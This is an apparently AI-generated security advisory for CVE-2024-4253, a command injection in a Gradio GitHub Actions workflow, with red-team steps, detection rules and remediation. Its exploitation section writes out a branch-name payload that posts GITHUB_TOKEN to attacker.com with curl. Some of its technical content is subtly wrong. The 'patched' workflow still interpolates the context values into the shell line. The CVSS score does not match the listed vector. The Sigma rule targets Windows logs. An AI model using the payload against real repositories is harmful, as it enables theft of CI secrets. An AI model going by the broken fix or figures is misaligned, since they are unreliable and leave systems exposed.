CVE-2024-4253

Executive Summary

CVE-2024-4253 is a critical command injection vulnerability discovered in the gradio-app/gradio repository, specifically within the test-functional.yml GitHub Actions workflow. The flaw allows an attacker to inject arbitrary commands by manipulating GitHub context variables (e.g., github.head_ref, github.head_repo.full_name, github.workflow_ref) that are echoed unsanitized into a shell command. This can lead to unauthorized modification of the base repository or exfiltration of sensitive secrets such as GITHUB_TOKEN, COMMENT_TOKEN, and CHROMATIC_PROJECT_TOKEN. The vulnerability affects versions up to and including @gradio/video@0.6.12. No public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in the CI/CD pipeline of the Gradio project, which is a Python-based library for building machine learning web interfaces. The affected component is the @gradio/video npm package (version 0.6.12 and earlier). The injection occurs in a GitHub Actions workflow, meaning any pull request or workflow run that triggers the vulnerable step could be exploited. This poses a supply chain risk as compromised CI pipelines can lead to malicious code being merged into the main repository or secrets being leaked.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable via network access to the GitHub Actions runner.
• Attack Complexity (AC): Low (L) – No special conditions are required; the injection is straightforward.
• Privileges Required (PR): None (N) – An attacker does not need any privileges to trigger the vulnerable workflow.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The impact is confined to the affected component.
• Confidentiality (C): High (H) – Secrets can be exfiltrated.
• Integrity (I): High (H) – The base repository can be modified.
• Availability (A): High (H) – The CI/CD pipeline can be disrupted.

CVSS Score: 7.5 (High)

Deep Dive & Mechanics

The vulnerability exists in the test-functional.yml workflow file. The workflow uses the echo command to output GitHub context variables without proper sanitization. Specifically, the following lines are vulnerable:

- name: Echo head repo full name
  run: echo "Head repo full name: ${{ github.head_repo.full_name }}"
- name: Echo head branch
  run: echo "Head branch: ${{ github.head_ref }}"
- name: Echo workflow reference
  run: echo "Workflow ref: ${{ github.workflow_ref }}"

An attacker can craft a pull request with a malicious branch name or repository name containing shell metacharacters (e.g., ;, |, $(...), `...`). When the workflow runs, the unsanitized value is passed to the echo command, allowing arbitrary command execution. For example, a branch name like ; curl http://attacker.com/steal?token=$GITHUB_TOKEN ; would execute the curl command and exfiltrate the GITHUB_TOKEN.

Vulnerable vs. Patched Code

Vulnerable Code (in test-functional.yml):

- name: Echo head repo full name
  run: echo "Head repo full name: ${{ github.head_repo.full_name }}"
- name: Echo head branch
  run: echo "Head branch: ${{ github.head_ref }}"
- name: Echo workflow reference
  run: echo "Workflow ref: ${{ github.workflow_ref }}"

Patched Code (hypothetical, as no official patch exists):

- name: Echo head repo full name
  run: echo "Head repo full name: ${{ github.head_repo.full_name }}"
  env:
    HEAD_REPO_FULL_NAME: ${{ github.head_repo.full_name }}
- name: Echo head branch
  run: echo "Head branch: ${{ github.head_ref }}"
  env:
    HEAD_BRANCH: ${{ github.head_ref }}
- name: Echo workflow reference
  run: echo "Workflow ref: ${{ github.workflow_ref }}"
  env:
    WORKFLOW_REF: ${{ github.workflow_ref }}

The patched version uses environment variables to pass the context values, which are not interpreted as shell commands. Alternatively, the echo command could be replaced with printf '%s\n' "$VAR" or the values could be sanitized using GitHub Actions' built-in functions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a GitHub repository that uses the vulnerable test-functional.yml workflow.
• Ability to create a pull request with a malicious branch name.

Exploitation Steps:

1. Fork the target repository.
2. Create a new branch with a malicious name containing shell injection payload. For example:

   ; curl -X POST -d "token=$GITHUB_TOKEN" http://attacker.com/exfil ;
   

3. Open a pull request from the malicious branch to the base repository.
4. The vulnerable workflow will execute, and the injected command will run, exfiltrating the GITHUB_TOKEN to the attacker's server.

Example Payload:

# Branch name
; curl -X POST -d "token=$GITHUB_TOKEN" http://attacker.com/exfil ;

Expected Outcome: The attacker receives the GITHUB_TOKEN and can use it to modify the repository, access other secrets, or perform further attacks.

Blue Team

Detection Steps:

1. Monitor GitHub Actions logs for unusual echo output containing shell metacharacters.
2. Review pull requests for suspicious branch names containing ;, |, $, or backticks.
3. Implement workflow hardening by using environment variables instead of direct injection.
4. Restrict the permissions of GITHUB_TOKEN to the minimum required.

Mitigation Steps:

1. Immediately update the test-functional.yml workflow to use environment variables for all GitHub context values.
2. Add input validation to reject branch names containing shell metacharacters.
3. Use GitHub Actions' env context to pass values safely.
4. Rotate any potentially exposed secrets.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to attacker-controlled servers from GitHub Actions runners.
  • Unusual HTTP POST requests containing GITHUB_TOKEN or other secrets.

• File IOCs:

  • Modified test-functional.yml file with suspicious echo commands.
  • Presence of shell metacharacters in branch names or repository names.

• Log IOCs:

  • GitHub Actions logs showing unexpected command execution (e.g., curl, wget, nc).
  • Log entries with echo output containing ;, |, $, or backticks.

Detection Engineering

YARA Rule

rule CVE_2024_4253_Command_Injection {
    meta:
        description = "Detects command injection in Gradio test-functional.yml workflow"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-4253"
    strings:
        $s1 = "echo \"Head repo full name: ${{ github.head_repo.full_name }}\"" nocase
        $s2 = "echo \"Head branch: ${{ github.head_ref }}\"" nocase
        $s3 = "echo \"Workflow ref: ${{ github.workflow_ref }}\"" nocase
        $s4 = "${{ github." nocase
    condition:
        any of ($s1, $s2, $s3) or ($s4 and #s4 > 3)
}

Sigma Rule

title: CVE-2024-4253 Command Injection in Gradio Workflow
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in Gradio test-functional.yml workflow
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4253
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'echo "Head repo full name: ${{ github.head_repo.full_name }}"'
            - 'echo "Head branch: ${{ github.head_ref }}"'
            - 'echo "Workflow ref: ${{ github.workflow_ref }}"'
    condition: selection
falsepositives:
    - Legitimate use of GitHub context variables in workflows
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4253 Gradio Command Injection Exfiltration"; flow:to_server; content:"POST"; http_method; content:"token="; http_client_body; content:"GITHUB_TOKEN"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the Workflow: Update test-functional.yml to use environment variables instead of direct injection. For example:

   - name: Echo head repo full name
     run: echo "Head repo full name: $HEAD_REPO_FULL_NAME"
     env:
       HEAD_REPO_FULL_NAME: ${{ github.head_repo.full_name }}
   

2. Rotate Secrets: Immediately rotate GITHUB_TOKEN, COMMENT_TOKEN, and CHROMATIC_PROJECT_TOKEN if they were exposed.
3. Audit Workflow Logs: Review recent workflow runs for signs of exploitation.

Long-Term Mitigations:

1. Input Validation: Implement validation for branch names and repository names to reject shell metacharacters.
2. Least Privilege: Reduce the permissions of GITHUB_TOKEN to the minimum required for the workflow.
3. Use Official Actions: Prefer using GitHub Actions' built-in functions (e.g., github.head_ref) in a safe manner.
4. Monitor for Anomalies: Set up alerts for unusual command execution in CI/CD pipelines.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.